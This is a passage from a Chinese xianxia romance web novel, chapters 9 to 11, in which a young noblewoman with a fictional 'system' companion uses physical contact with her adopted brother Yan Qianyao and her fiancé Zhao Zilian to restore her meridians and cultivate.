它头次嫌弃自己的语言库这么低级，连句安慰的话都不知该怎么说。 被子里传来了大小姐闷闷的声音：“……我没哭！” 系统没有拆穿这句抽抽噎噎的话。 它鼓足劲用头顶了一杯茶，然后轻轻碰了碰那个被窝包。 大小姐从被子里拱了出来，头发乱乱的，双颊红红的，眼皮也红红的。 她接过了那杯茶，小声地到了句谢。 沉默片刻后，慕灵昭突然道：“我一直以为哥哥很忙。” 所以没时间和她通讯，没时间给她寄信，也没时间回应她的信。 “但我今天才知道，原来不是这样的。”慕灵昭垂下眼眸，长长的睫毛遮住了欲落的那一滴泪，“每一次我打通讯的时候，他说不定都在，只是单纯的不想理我。” 茶水忽地震颤一瞬，荡出层层涟漪。大小姐宣布道：“我再也不要理他了。” 慕灵昭抬起头，将那杯茶一饮而尽，咬牙切齿地道：“我也不会再叫他哥哥了，他不是我哥哥。” 光球闪了闪，不敢吭。 就在这时，窗户突然被人推开了，一道人影闪了进来。 还团着被子窝在床上的慕灵昭看了过去，顿时瞪大了眼。 “你、你——” 来者微掀眼皮，表情很冷地扫了她一眼。 但他的状态明显不对，脸色泛着不正常的红晕。饶是慕灵昭现在感知不到灵气，也能察觉到他的周身正发生着暴动。 下一瞬，那张冷冰冰的脸凑到了她的面前，瞳仁都有些泛红的狐狸眼紧盯着她瞧：“大小姐你哭了？为什么。” 慕灵昭用力拍开了他伸过来的手，瞪他：“滚，谁让你进来的，快滚下去。” 她藏在被窝中的另一只手悄悄捏紧了一张地阶雷符咒，蓄势待发。 燕千尧却笑了。被她拍开的手像是无意一般，正巧压在了她捏住的雷符咒上，让她动弹不得。 “大小姐这是忘了白天的事，还是……故意不想对我负责？” 他不提白天还好，一提，慕灵昭脑子乱糟糟的一片，顿时怒火上涌，想也不想地道：“对你负责什么？你要给我当狗吗？” 燕千尧的脸色瞬间沉了下来，薄唇却微微上翘：“可以啊。只要大小姐能付出足够的筹码，想让我做什么都可以，就比如，对付这张通讯符对面的人。” 他松开了禁锢慕灵昭的手，指向了桌子上的一小堆灰烬。 那是通讯符结束后化的残骸。 慕灵昭瞳孔皱缩，脱口而出：“你离我哥哥远点，不许伤害他！” 话落下的瞬间，她就后悔了，却依旧瞪着燕千尧。 不管怎么样，慕西归都是她从小一起长大的亲哥哥，他们之间的事轮不到外人来评判。 燕千尧忽地又凑近了些，细细观察大小姐面上的表情。 有愤怒，惊讶，无措，惊慌……却唯独不见半点仇恨。 她一点都不恨慕西归。 就算传闻中慕家大公子厌恶极了他的亲妹妹，不惜远去他州，几年都不肯跟她说半句话。 她也依旧不恨他。 这个发现让燕千尧的唇角绷成了一条直线。 他突然觉得无趣极了，冷冷地道：“你对他倒是好，那么大脾气也不见得向他发，就知道对我发脾气。” 然后，大小姐毫不犹豫地回道：“你跟他能一样吗。” 好刺耳……话的主人根本不知道她有多残忍。 燕千尧注意到大小姐的紫眸闪了闪，身体偷偷朝后缩了缩——这是她心虚的表现。 看来她也知道她说的话有些过分。 只是，燕千尧却没有预想中的那么生气，反而点头表示赞同：“大小姐说的对。大公子是天之骄子，世家子弟，公认的下一任家主。” “还有一个你这样对他好，全心全意都是他的妹妹。”燕千尧顿了顿，平静地继续道，“而我什么都不是，我只是一个接了泼天好运，被慕家主领进家门的养子。” “别说大小姐了，这府上任谁都能踩我一脚。” 慕灵昭几度张了张嘴又合上了，身体不自觉地向后缩，恨不得把自己贴到墙壁上。 虽然现在讨厌鬼笑容和煦，那双狐狸眼弯起，怎么看都是一副心情很好的样子，但直觉告诉她。 离他远一点，越远越好。 慕灵昭犹豫再三，最终小声道：“是我说错话了，我不是那个意思。” 她主动靠近了燕千尧一点，伸手拽了一下他的衣袖，又迅速收回了手，睁大的紫色眼眸悄悄看着他。 她语气很轻，但话语中的笨拙与僵硬太明显了。 很显然，大小姐很少安慰人。 这个认识让燕千尧的心情莫名好了一些。 他依旧垂着眼皮，语气轻飘飘的：“没事的，你不用安慰我，我早就习惯了。” 团在雪白被褥中的大小姐彻底僵住了，睁圆的紫眸呆呆的。 燕千尧从未感觉心情如此美妙。 虽然他现在状态越来越差劲了。 一双眼睛几乎完全化为了血红色，身体里的那些紫雾叫嚣着四处扩散，脑海处传来了熟悉的嗡鸣声和刺痛，进一步影响到了四肢五骸。 没关系，确实没关系，他早就习惯了。 只不过这一次情蛊和紫雾的双重作用有些超出了他的预期，但他迟早会再次习惯的。 他现在唯一好奇的是—— 等一会儿他越过了那条临界线，彻底变为了失去理智的怪物，大小姐又会做出什么反应呢。 会止不住的流眼泪？惊慌失措的大叫？还是……哀求他放过她。 燕千尧很好奇，而他的视野也逐渐蒙上了一层红雾。 那条临界线距离他越来越近了。 一片血色中，燕千尧听到了大小姐熟悉的声音响起。 她震惊不已：“……我说的话这么让人生气吗？他眼睛都气红了！” 大小姐嘀嘀咕咕的又说了些什么，燕千尧已经听不太清了。 理智在和本能撕扯。越发浓稠的血雾中，燕千尧只是静静地抬起了头，看向了声音的来源。 他不想再压抑了。这是她欠他的。 而这只是一个开始。 直到—— 温热柔软的触感碰到了他的手掌。 慕灵昭心虚中又带着胆战心惊。她有点怕讨厌鬼在她的院子里出事，那她可真的是解释不清了。 她想了一圈，最终还是将后脖颈露在了燕千尧的面前，大发慈悲地道：“就给你吸一口吧，你可别死在我这里。” 短暂的安静后，冰冷的手搭上了她的肩膀。 慕灵昭有一瞬的瑟缩。她很怕痛，又担心燕千尧会不会故意报复她。 就在她开始后悔时，一个冰凉又湿润的东西落在了脖颈上，转瞬即逝。 只留下了一瞬的刺痛，快得让人以为是错觉。 还没等慕灵昭反应过来，她就被推开了。 她回头看去，燕千尧已然恢复了平时那副讨人厌的模样，冷冰冰，狐狸眼中总带着似有似无的厌世。 “多谢大小姐。今天到此为止。” 燕千尧轻盈地跃上了窗台，推开窗户，在他即将翻出去的瞬间，他又回头深深地望了她一眼。 “我明日再来找大小姐。” 少年的身影飞速消失在夜色中，将那句怒气冲冲的“不许来”远远抛掷在了身后。 他头次觉得，被慕泗容带回慕家，确实是个不错的选择。 这样的报仇方式，他很喜欢。 …… “这是千里珠，可以用来炼制疾行符。但需要等它变为纯白色，也是它完全成熟的时候才能用来炼制。” “这是梅花缕，是绝顶的治疗药材料，但也可以用来炼制一种奇毒，只是很少有人这么干。” “这是南无幻花，分东西南北，每一个地域生长出的无幻花都会有不同的功效。” 纤细的手指没指向一处，都能精准地描述出每一种草药的功效。 慕灵昭的紫眸亮的几乎要发光，他不知疲倦地将木家花园里所有的灵草都评价了一遍，才意犹未尽地朝外走。 系统说的没错，她已经得到了一部分讨厌鬼的能力。 而此时燕千尧对她的恨意值也不过25%。 那等到50%、70%甚至……100%呢？！ 慕灵昭不自觉地屏住了呼吸，她突然有些期待今天晚上燕千尧的再次到来了。 据系统所说，恨意值超过了20%，她就已经可以开始吸收他的灵气来修复她自己的经脉。 慕灵昭的紫眸越发明亮，在阳光下灿灿生辉。 对她而言，谁恨她都无所谓，她只想要修炼。 她只想修炼。 慕灵昭的唇角始终上翘，心情极好地朝着落风院的方向前去，准备拿回自己的鞭子。 她没有注意到的是，后颈上那块儿光滑白净的皮肤，在她穿梭在药田中时，无声无息地露出了拇指大小的红痕。 …… “鞭子还我。” 对面的人将茶盏推到了慕灵昭的面前：“你最爱喝的春雾茶。” 慕灵昭皱眉，重复道，“还我鞭子。” “不急。”朝子临眼眸沉沉，似乎蕴含了某种看不懂的情绪，“马上还你鞭子。在这之前，你先回答我一个问题——” “昨天晚上，谁从你的院子里出来了。” 9、第九章 第九章 虽然是疑问句，但朝子临的语气却非常肯定。 他紧盯着大小姐的表情。 慕灵昭的第一反应却是：“你监视我？” “鞭子还我。”她第三遍重复了这句话，站了起来，小脸绷得很紧。 大小姐明显生气了。 “我不是那个意思，我就住你附近，昨晚恰巧看到了。”朝子临放缓了语气，刚向她伸出手就被拍开了，“我只是怕你被欺负。” “你之前不是说那小子来了之后经常欺负你吗。他还把你的鞭子弄坏了，昨天还——” 朝子临停顿了一瞬，那双浅红色的眼眸自下而上凝望着慕灵昭：“总之，且不说慕西归走之前特地交代了我，单凭我们现在的联姻关系，我也不会看你被欺负。” “当然，你也不要欺负他。”眼看着大小姐的眼睛瞪圆了，朝子临无奈地道，“我知道你不会主动欺负他，都是反击。我也是提醒你一句，他的身份应该不简单，而且我们马上就要去玄海派了，没必要跟他过不去。” 昨天遇到慕灵昭之后，他就派随从去调查了——大小姐自己送上门挑衅人家，没过多久就哭着跑了出来。 朝子临虽然觉得大小姐麻烦的很，惹祸能力一流，也并不想主动跟这个来路不明的慕家二公子起冲突，但是…… 他还是跟慕夫人随意地提了几句，顺便派随从给那家伙找了点儿不大不小的麻烦。 没办法，这么多年他早就习惯了。慕西归在的时候，大头归他，他偶尔善后。 现在慕西归走了，他给大小姐做善后处理的事是越来越熟练了。 “我才没有欺负他。”慕灵昭嘟囔道，她双手端着茶杯，低头喝茶，“他的身份怎么了？有多不简单？” 话落，沉寂了好几息，慕灵昭抬头，对上了朝子临有些古怪的神情。 他没有回答她的问题，而是用手点了点后脖颈的位置，红眸暗沉：“你脖子怎么了？上面有一个红印。” “我记得昨天还没有。” 大小姐伸手去摸脖子，眼神有一瞬的飘忽，被朝子临迅速地捕捉到了：“跟燕千尧有关吧。昨天他到底去你院子里做什么了？” “没有，什么都没有。”慕灵昭立刻反驳，又不自觉地咬了咬下唇，“他落了一个东西在我那，拿了之后马上就走了。” 朝子临红眸眯起。 ……时间是对得上的。 燕千尧顶多呆了一炷香的时间，出来后很快回到了自己的院子，没有过多停留。 但—— 朝子临太熟悉慕灵昭了，她用牙齿咬唇瓣的小动作明显是在撒谎，昨天晚上必然发生了什么。 莫名的，朝子临觉得那么红痕有些眼熟，总觉得在哪里见到过或是听说过，但一时想不起来。 他摩挲了一下早已修好的鞭子，将它抛给了慕灵昭，忽地问道：“慕昭昭，认真说，不要闹了。你对于我们的联姻是怎么看的？” 慕灵昭正低头检查着自己的鞭子，闻言，还没开口，小白的声音先一步响起：【大小姐！】 【剧情点是吧？】慕灵昭秒懂，【这次我要做什么？】 小白道：【不管朝子临说什么，联姻都不能取消。呃……如果他同意联姻的话，大小姐你可以再卡卡bug。】 慕灵昭道：【我明白了。】 不就是跟朝子临对着干吗？那她可太擅长了。 慕灵昭把鞭子收好，道：“你先说你是怎么想的。” 朝子临的目光一直落在她的脸上：“伯母应该跟你说了吧，和我联姻主要是为了解决你不能修炼的问题。” “那么，等你可以修炼了之后，其实我们就可以解除婚约了。” 朝子临观察着大小姐的神情。 大小姐抬起头，紫眸圆圆的，非常理直气壮地反问：“为什么？” 朝子临瞳孔微缩，道：“你不喜欢我，我也不喜欢你，就像你说的那样，我们在一起是互相折磨，何必呢？互惠共利，好聚好散不好吗。” 他端起茶盏喝了一口，眼眸紧盯着慕灵昭的反应。 大小姐喝茶很喜欢先吹一吹，像是生怕自己被烫到一样，小心翼翼地喝下第一口后，才会安心地继续喝。 她双手捧着茶杯，笑得眼眸弯弯：“你说得没错，但是也就像你说的那样，我要在你面前天天晃，年年晃，让你永无宁日。” 朝子临突然笑了。 他摩挲着杯壁，心道：不愧是大小姐，报复心还是一如既往的强。 没人可以肆无忌惮地伤害她，也没人可以忽视她的存在。 提议被拒绝，朝子临本以为自己心情会非常糟糕，更加地厌恶这个坏脾气的大小姐。出乎意料的，他看着大小姐明媚的笑脸，竟也跟着笑了起来。 朝子临漫不经心地摇晃着杯中的茶水，道：“那慕昭昭，你知道我们要怎么样做才能让你可以修炼吗。” “怎么做？” 朝子临对上了他带着好奇的紫眸：“看来你还不知道，其实我的祖上是合欢宗出身。” 那双紫眸顿时瞪圆了。 隔过杯盏，朝子临握住了那只手，轻易便将它完全掌握在手心。 五指纤纤，柔软无骨，像是在把玩一块上好的暖玉，朝子临沿着手指、掌心向上，将她的手腕尽数禁锢其中。 他很少有这样冒犯大小姐的时候——大多数时间，慕西归都会先一步处理掉所有靠近他妹妹的人。 也许是被他说的话惊到了，大小姐一动不动，像只僵直的猫，任由他将她的手翻来覆去地玩：“我的祖先们也很快发现，一味索取并不是长久之计。所以后来他们又研究出了一种功法，可以反哺道侣。” “这就是慕家找上朝家，要求你我联姻的原因。”朝子临开始依次捏慕灵昭的手指，“你和我在一起后，我就可以使用那套功法。” “到时候你不仅可以治好病开始修炼，还能得到我反哺给你的修为。只要你修为始终低于我，我就能让你的修炼速度和我一样快。” “你很快就可以和我一样达到金丹。”朝子临语气轻飘飘的，“你想要吗？昭昭。” 掌心中的手突然被抽走了。 朝子临看向那双紫眸，大小姐语气笃定：“但是你不愿意。” “你不想跟我绑定，也不想反哺给我修为。所以你希望我们能解除婚约。” 朝子临笑了：“大小姐你会甘心当别人一辈子的炉鼎吗。” 一如既往的肯定语气。 慕灵昭皱起了眉，脸颊绷紧：“在你心里，我的修为就永远超不过你，只有你反哺我的份吗？” 那张高眉深目的英俊脸庞没有被她戳穿的惊讶愤怒，只有平静。 唯有平静。 朝子临顶着她最讨厌的笑脸，道：“事实如此，不怪我这么想，所有人都是如此。” “所以慕家付出了远超你想象的代价，为了让你可以开始修炼，还能快速拉进和同龄人的差距。” 朝子临轻笑道：“但我不愿意。我不需要那些代价，或者说，‘补偿’。” “我想要的迟早能拿到手。但看在慕西归和慕家的面子上，我愿意为了治好大小姐你的病和你暂时绑定。” 这是第一次，慕灵昭在他眼中看到毫不掩饰的厌恶与冰冷。 他讨厌她，比之前都要讨厌。 慕灵昭清晰地意识到了这一点。 朝子临收回了目光，淡淡地道：“我的妻子不需要给我带来太多的助力，只需要听话懂事，能管好后宅即可。” “你和我完全不合适，因此，我希望等你的病治好之后，我们能好聚好散。” 四下沉寂，朝子临听到了她的答案：“我不同意。” “我为什么要跟你好聚好散，我们是死对头呀。” 大小姐就是做坏事也一点都不心虚，理直气壮到了极点：“我就是要给你找不痛快。再说了，这是我娘亲和爹爹辛辛苦苦给我安排的，我才不会辜负他们的心意。” 她微扬下巴，道：“你不满意，你就自己去想办法解决，不要把你不满强加在我身上。” 朝子临又笑了。 他对上那双毫不回避的紫眸，转而说起另一件事：“那大小姐你知道，这种功法具体要怎么做吗？” 秀气的眉毛蹙了起来，慕灵昭道：“怎么做？” 朝子临突然将她的双手禁锢，然后靠近。 两人之间的距离被陡然拉近，近到他可以清晰地看到大小姐脸上细小的绒毛，以及，嫣红唇瓣上的浅淡齿痕。 “大小姐你可以先感受一下。”朝子临在她震惊的表情中，俯身凑近，然后—— 吻在了她的唇旁。 与其说是吻，不如说是“咬”更贴切。 大小姐微鼓的脸颊肉像是一团绵软的云朵，朝子临还没来得及细品，刚刚碰上去，就被猛地推开了。 “你——”慕灵昭紫眸瞪得浑圆，像只受惊的兔子般瞬间弹开。 “我什么我？”朝子临挑眉，摸了摸嘴唇，道，“大小姐不是不愿意和我解绑吗。以后这样的事情多了去了，比这样严重多了。” “大小姐你又该怎么办呢？” 大小姐对此的回应是狠狠地瞪了他一眼，顺便用力踩了他一脚，逃也似的离开了。 朝子临唇角上翘，再度触碰嘴唇，脸色却在瞬间沉了下来，眸光晦暗。 他想起来了。 大小姐后颈上的红印，不是无事发生，是吻痕。 所以她才会那么心虚，所以才能对得上燕千尧出现的时间。 朝子临倏然笑了起来，心头涌动着一股莫名却汹涌的情绪，他分辨不清，脑海中却突兀地冒出了一个想法： 燕千尧那家伙能在大小姐的脖颈上留下吻痕，两人的关系一定很好吧。 那么……朝子临唇角绷紧，面无表情的想，如果之后燕千尧迫切的想要一个身份，慕灵昭就一定会解除他们之间的婚约。 朝子临紧攥双拳，露出一个莫名的笑。 为了解绑，他一定会努力推动这两人的关系，让那一天早日到来。 …… 【咦。】小白突然叫了一声。 慕灵昭问道：【怎么了？剧情出问题了吗。】 【没有没有，大小姐你刚才的剧情点完成完美。系统百分百判定成功！】 小白疑惑地道：【就是朝子临的恨意值……一直在反复波动。】 【一会儿5一会儿50，刚才甚至冲到了80，我们走了之后还在不停的变。】小白摇头晃脑，【不会是系统出bug了吧。我哪天去查查看。】 慕灵昭没在意，她现在满心想的都是另一件事：【你之前说恨意值达到20%以上就可以让我治好经脉修炼了，燕千尧已经达标了。我具体要怎么做。】 朝子临瞧不起她，或者说，绝大多数的人都瞧不起她，认为她是个废物。 慕灵昭抬起眼眸，那双紫眸中闪动着怒火。 她不甘心，她要修练，她要把所有人都踩在脚下。 朝子临不是笃定她的修为回永远在她之下吗。那她就要超越他，让他仰视她！ 小白跳上慕灵昭的肩膀，道：【很简单的，只要和燕千尧有接触就可以！】 【怎么算接触？】 【身体接触都算，系统会根据接触的程度来判定，当进度条达到百分百时，大小姐你的经脉就修复好，可以开始修炼了。】 小白仔细地道：【大小姐你之前和他几次的接触也算进去了，有1%。为了合理，一天的提升是有上限的，最多10%。】 【我知道了。】慕灵昭眼眸明亮，认真地道，【最迟十天，我一定可以开始修炼。】 10、第十章 第十章 回去之前，慕灵昭特地绕回了主院去找虞扶水和慕泗容说了一件事情。 一开始娘亲还不同意，但在她的强烈要求下，最终还是同意了她的请求。 回到自己的院落之后，慕灵昭仔细地检查了一下院门上的禁制，蹙眉道：“没问题啊，那家伙昨天是怎么进来的？” 因为她没法修炼，所以为了保护她的安全，她院子周围的侍卫和禁制一直用的都是最好的，未经许可者踏入范围内一定会有警告和攻击。 但，昨天燕千尧进出都非常顺利，顺利的像是在自家后院。 小白道：【剧情里说，大反派不仅擅长蛊毒之术，阵法符咒之类的也都是一绝。】 【我想他昨天一定用了什么手段才蒙混过关的。大小姐你加油，迟早有一天这些都是你的。】小白碰了碰她的脸颊。 慕灵昭微扬下巴：【那是自然。】 时间一晃而过，夜色降临，慕府各处燃起了点点灯火，唯有一处染上了独有的淡金色光芒。 ——那是大小姐的院子，烛火用的是千金一两的融日石。据说这种石头烧出的火焰，可以改善人的体质，让人百病不侵，阴气退散。 燕千尧熟门熟路地绕过烛火，在阴暗中穿行。所行之处，紫雾覆盖了所有的光亮，将他的身形彻底隐藏。 不光是数名严阵以待的侍卫，院门上地阶的禁制在他手上也亦薄如蝉翼，轻而易举便让他穿过通行其中，没有惊起丝毫警示。 燕千尧正欲前往大小姐的房门时，他倏然抬头看向了院门口的那棵桃树。 夜风四起，桃花簌簌而落。漫天绯红间，一道翠绿身影从天而降，转瞬便要落到他的面前—— 燕千尧在瞬间便看清了那人的脸。 理智告诉他，应该立刻闪开，让她狠狠地栽到地上，给她一个教训，但是…… 双手却像是有着自己的意识般，向着那抹翠绿伸开，紫雾四下弥漫，更是作势要去接她。 一切只发生在分秒之间。 手上微微一沉，有朵桃花落在了他的掌心。 燕千尧抬头看去，正对上了一双惊诧的紫眸。 粗壮结实的树枝缠绕在了慕灵昭的腰间，将她半吊在了空中，她在风中摇摇晃晃，看着非常自得，没有丝毫掉下来的趋势。 燕千尧收回了手，五指合拢，将那朵桃花牢牢地锁在了手中。 “我就是想吓你一下，你怎么会突然抬头看？”头顶上传来了大小姐的嘀咕声。 燕千尧没有抬头，只是盯着自己的手看。 “喂，你刚才是不是想要接我。”大小姐突然道。 燕千尧没有理她，碾碎了那朵桃花。 大小姐锲而不舍地继续道：“讨厌鬼，你怎么不说话？你就是想要接我吧，我都看到你伸出手了。” “说话呀，你听不到吗。” 燕千尧终于抬头看她，眼眸冷得像冰：“……说什么。” 难道要他说他上赶着给人做狗吗，还是说他的手和紫雾都仿佛有了自己的意识，背叛了他的理智。 他该恨她的，他最恨的人就是她。 可是为什么—— 燕千尧瞳孔骤缩，眼瞳中倒映出那道向他飞速靠近的翠绿色身影。 寒风烈烈，花瓣簌簌，他再次伸出手去。 这一次，没有阻挠的树枝，大小姐像只翠鸟般坠入他的怀中。 燕千尧牢牢地接住了她。 慕灵昭双手环在他的脖颈上，兴高采烈地宣布：“我就说你会接我的，你接的好准。” 燕千尧喉结上下滚动，一言不发地盯住了那张泛着薄红的脸。 掌心中的温度在飞速上升、发烫，脑海中有什么喧嚣着像要炸开，燕千尧的视野中只剩下了她一张一合的樱唇：“不许松手，我要你把我抱回去。” 【目前修复值2%……3%……4%！】 伴随着小白激动的声音响起，慕灵昭听到了燕千尧的回应。 他低低地嗯了一声，抱着她转身，稳稳地向前走去。 竟是没对他的要求提出丝毫质疑，听话的像是换了一个人。 慕灵昭惊讶不已，刚想开口刺他几句，突然觉得后背发凉。 ……就像是有人在暗中偷窥她似的。 慕灵昭环顾四周找了一圈，都没能找到那道视线的来源。 而此时的修复值已经来到了5%，慕灵昭将这点不对抛之脑后，高兴地紧紧抱住燕千尧的脖子。 修炼，她马上就可以修炼了！ …… “……你怎么了？”符咒另头的人似乎察觉到了不对，出声询问。 朝子临死死地捏着那张金色通讯符，几度克制才重新恢复了微笑：“没什么，一个意外罢了。” 他顿了顿，盯着那颗开的正艳，在月色下仿佛发着光的桃花树，漫不经心地道：“只不过是看到了几个无关紧要的人，不足挂齿。” 对面的人沉默几息，道：“所以，你和我妹妹的婚约到底怎么回事？” 朝子临笑了，调侃道：“我就说你今天怎么突然给我打通讯过来了，扯了这么多有的没的，你最想问的其实就是这件事吧。” 慕西归的声音很冷：“这事情太突然了，我只想知道为什么。” 朝子临道：“哦？你的意思是，只要知道为什么，你就愿意从此做我的大舅哥，祝我们幸福吗。” “朝子临！”隔着符咒，朝子临都能感觉到慕西归的怒火，“你我都清楚，你对昭昭并无半分情意，甚至我还在的时候，你都是不喜她的。” 慕西归的语气冷静了下来：“你想要的，昭昭给不了你，你也并不满足昭昭对夫婿的要求。” “以你现在在朝家的地位，你绝不会主动提出和昭昭联姻。所以推动这场婚约的……应该是慕家吧。”慕西归道，“为什么？” 朝子临敛了笑，淡淡地道：“一两句话说不清楚，总之是因为你妹妹的病，需要我暂时跟她用婚约绑定。” “你也不用担心有人抢走你妹妹。”朝子临想起刚才看到的那一幕，郎情妾意，漫天花雨都仿佛做了陪衬。他勾起一抹嘲讽的笑，“等大小姐的病好了，她应该马上就会和我解除婚约了。” “到时候她又成了你一个人的好妹妹。”朝子临意味深长地道，“哦，也不一定。没了我这个朝未婚夫，说不定还有张未婚夫，李未婚夫……除非你快点回来，守在你妹妹旁边。” 一想到燕千尧那张眼熟的脸，朝子临唇角笑意渐深。他严重怀疑是因为慕西归不在，慕昭昭那家伙找了个替身来代替她哥哥的存在。 毕竟燕千尧那张脸，尤其狐狸眼，和慕西归实在是太像了。 就是不知道等慕西归回来看到他的“养弟”和他心爱的妹妹拉扯在一起，会作何感想了。 朝子临突然很期待那一天的到来。 对此，慕西归的回应是冷冰冰地抛来了一句“不劳你费心了”，便单方面掐断了这道通讯。 朝子临无趣地将化为灰烬的通讯符抛至一旁，转眸又盯着那棵桃花树看。 待他意识到自己在做什么时，脸色倏然难看了几分。 对啊，关他何事，与他何干。 …… 【朝子临恨意值10%！】小白突然惊呼了一声。 慕灵昭也惊了一下。她什么都没干吧，这家伙怎么莫名其妙就恨上她了，不会是在说她坏话吧。 还没等她想明白，啪的一下，她就被直接丢到了床上，差点没滚到床里面去。 慕灵昭跳下来怒视罪魁祸首：“你丢之前不会说一声吗？你就不怕把我摔坏。” 燕千尧面无表情地道：“你刚才从树上跳下来的时候，可不见你害怕，这点高度就要把你摔死了。” 慕灵昭道：“那能一样吗。我是肯定不会在树上被摔死的。” 燕千尧道：“为什么。你不是没有灵气吗。” 慕灵昭微扬下巴，道：“我是木灵根啊，你不也是木灵根吗？你难道对花花草草没有一点亲和力吗。” 她虽然从小经脉受阻，无法修炼，感知不到外界的灵气，但却对一切的植物有着独特的亲和力。 换句话来说，没有灵智的植物会简单的回应他，而有灵智的，比如她院门口的那棵不知年岁的桃树，就会在她需要的时候帮助她，像刚才那样用树枝抓住她，不让她掉下来。 燕千尧觉得有些奇怪，但不欲多言， 他现在只觉得心乱如麻，心跳完全超出了他往日的频率，更别提面、耳……连带着抱过大小姐的手，温度都非常古怪，让他疑心自己是不是中毒了，迫切的想要回去检查一番。 他刚转过身，衣袖就被人拉住了。 大小姐眼神清凌凌的，神态自然，看着没有受到丝毫的影响，这让燕千尧的脸色又冷了几分。 她皱眉道：“你这就走了，那你今天来是干什么的。” 燕千尧想甩开她的手，却没甩动，脸色沉得像要滴水：“明天再说。” 如果他真的在毫无察觉的情况下被大小姐下毒了……燕千尧眸色阴沉，身上如暗纹般涌动的紫雾蠢蠢欲动，那他刚才奇怪的行为就可以解释得清了，他也不介意给大小姐一点颜色看看。 慕灵昭紧紧地拽着他的衣袖不放手，她是不可能让他就这么走的， 修复值达到了7%，就差3%今天的就刷满了。她说什么也要把这最后的一点给刷掉，不耽误她九天后可以开始修炼。 慕灵昭紧绷着小脸：“你昨天不是说要我对你负责吗，我想好要怎么做了，你就不好奇吗。” “还有。慕灵昭微微侧头，在燕千尧暗沉的眼眸中露出了白净的脖颈，“你今天不要我的体.液了吗？” 11、第十一章 第十一章 话音落下，慕灵昭感觉到手中力度松懈了几分，燕千尧居高临下地看着她，道：“你要怎么做。” 那双狐狸眼暗沉地凝着着她，慕灵昭看不清其中的情绪，却能清晰地感觉到他的冰冷与漠然。 她突然觉得有些生气。 昨天燕千尧走了之后，小白跟她简单介绍了一下有关他的剧情。 据说在原文里，她从头到尾都在欺负燕千尧，让他给她当牛做马，各种羞辱。原女主都看不下去了，几次试图去解救他。 但不知为何，燕千尧始终拒绝原女主的帮助，一直任由她欺负。直到在她快死的节点前夕，燕千尧才找到了解蛊之法，彻底摆脱了她。 所以—— 慕灵昭直接拽住了燕千尧的衣领，把它重重地往下扯，看到那双狐狸眼中满是愕然。 “燕千尧，这是你求人的态度吗？现在是你中了我的情蛊，需要我的□□。” 对呀，她凭什么要被他用那种目光看着。是他欺负他，是他上赶着给她做狗。 剧情也都说了，要她肆无忌惮的羞辱他，反正她到时候都死了，他再怎么变成灭世反派要报复，也跟她扯不上任何关系了。 想到这，慕灵昭越发的理直气壮：“总之，以后你每天都要求我，把我求到满意了，我才会给你一点体.液。你不能再欺负我了。” 最后一句话她特意用了重音。 燕千尧忽然开始笑得上气不接下气，眼神古怪。 慕灵昭感觉像是她受到了羞辱一般，愤怒地摇晃着他的衣领：“不许笑，听到没有不许笑！我马上就要去玄海派了。我今天和娘亲和爹爹提了，说好了要带你一起去。” “如果你听我的话的话，我就带你一起走，不听话的话你就等着留在这里变成怪物吧！” 燕千尧的表情越发奇怪。 他没再笑了，反而开始用一种他看不懂的神情盯着她看：“怎么，大小姐这么怕我死，都给我想好退路了。” “你放心好了，别说玄海派，就算你逃到天涯海角，我也能找到你。” “你——”慕灵昭紫眸圆睁，下意识松开了他的衣袖。 小白激动地道：【燕千尧的恨意值27%了！】 慕灵昭眼眸一亮，又朝他的衣领伸出了手，结果拽到了他左侧垂下的小辫上。 她索性揪着他的小辫威胁：“反正不管，你必须要听我的，以后我说什么就是什么，不然你就等死吧。” 说着，慕灵昭刚想松手，就感觉手中的触感有些不对。 他小辫上的红绳被她给弄散了，怎么会这么脆弱。 慕灵昭惊住了，生怕被燕千尧发现，继续虚虚握着。 燕千尧脸上依旧带着她看不懂的笑：“大小姐说什么就是什么……这还不是让我给你当狗吗。” 慕灵昭刚想反驳，燕千尧突然握住了她的手，连带着那道松散的红绳一道顺了下来。他道：“那我愿意。” “那就给大小姐当狗好了。”燕千尧握着慕灵昭的手贴在了他酡红的脸上，温度立刻激起了慕灵昭的鸡皮疙瘩，“大小姐，你可一定要对我好一点。” 他脸上的温度仿佛正通过他们相贴的地方源源不断地传了过来，慕灵昭脸倏地红透了：“放手！” 燕千尧竟真的松开了手，那双下垂的狐狸眼看上去莫名有几分乖：“哦，我听大小姐的话。” 慕灵昭虚握住的手心中露出了一点红，她注意到燕千尧的目光看了过来，便立刻道：“还你就是了。” 还没等她抛过去，燕千尧已灵巧地揪下了她双髻上缠着的发带。 尾端缀着桃花形状的玉坠发带在他的指间晃动着，燕千尧轻笑道：“不必了，用这个赔我吧。” 说话间，他的发带取代了那根红绳的位置，淡粉色的玉坠垂在他浓黑的乌发间，竟衬着那张脸平白多了几分艳。 慕灵昭突兀地想起了一件事。 几年前，城中有个纨绔新得了一头妖犬，炫耀地带着在城中到处走，慕灵昭遇到过好几次。而那头犬脖子上挂着的金灿灿长命锁，据说是从小陪伴那个纨绔长大的。 “还给我。”她的发带虽然没有用那么久，但慕灵昭还是觉得浑身不自在，伸手就去抢。 燕千尧只用了一句话就定住了她的动作：“我的红绳可以驱百虫，破迷障，还对绝大多数的阵法有作用。” 慕灵昭顿时把手收了回去，若无其事地将红绳往手里塞：“说好换就要一直换哦，谁变谁是小狗。” 燕千尧又笑了。 他把玩着桃花欲坠，盯着慕灵昭的手看：“那大小姐怎么不带。” “……我吗？”慕灵昭想了想，道，“我要不挂在鞭子上吧，毕竟可以破迷障。” 燕千尧的眸色暗了几分，唇角依旧噙着笑：“可是万一你遇到毒了呢，红绳不接触到你的皮肤是没办法解毒的。” 慕灵昭犹豫了起来：“说得也是……” 还没等她想好要绑在哪里，燕千尧拉过了她的左手，慢条斯理地将红绳系在了她的手腕上：“有什么好想的，系在这里不就行了吗。” 慕灵昭鼓了下脸颊，勉勉强强地道：“行吧。” 燕千尧却没有松开手，大掌顺着她的五指一路向下，直到彻底禁锢她的指尖。 他微掀起那双薄薄的狐狸眼，道：“所以，现在是不是该轮到我收取报酬了。” 伴随着小白的提示音，慕灵昭眼睁睁地看着燕千尧举起了她的手，触碰到了他的唇。 冰凉却柔软，慕灵昭瞬间打了个寒战，这才注意到燕千尧那双狐狸眼正一眨不眨地盯着她看，像是在观察她的反应。 【修复值8%……9%……】 就在慕灵昭想着不行给他咬一口算了，虽说十指连心，但是痛一下能换来10%的修复值，怎么也不亏—— 燕千尧往上一拽，一口咬在了她的手腕上，正巧落在了那根红绳旁。 暗红的绳映衬着那张艳红的唇更艳了几分。 猝不及防之下，慕灵昭惊呼了一声，下意识挣扎，却动弹不得。 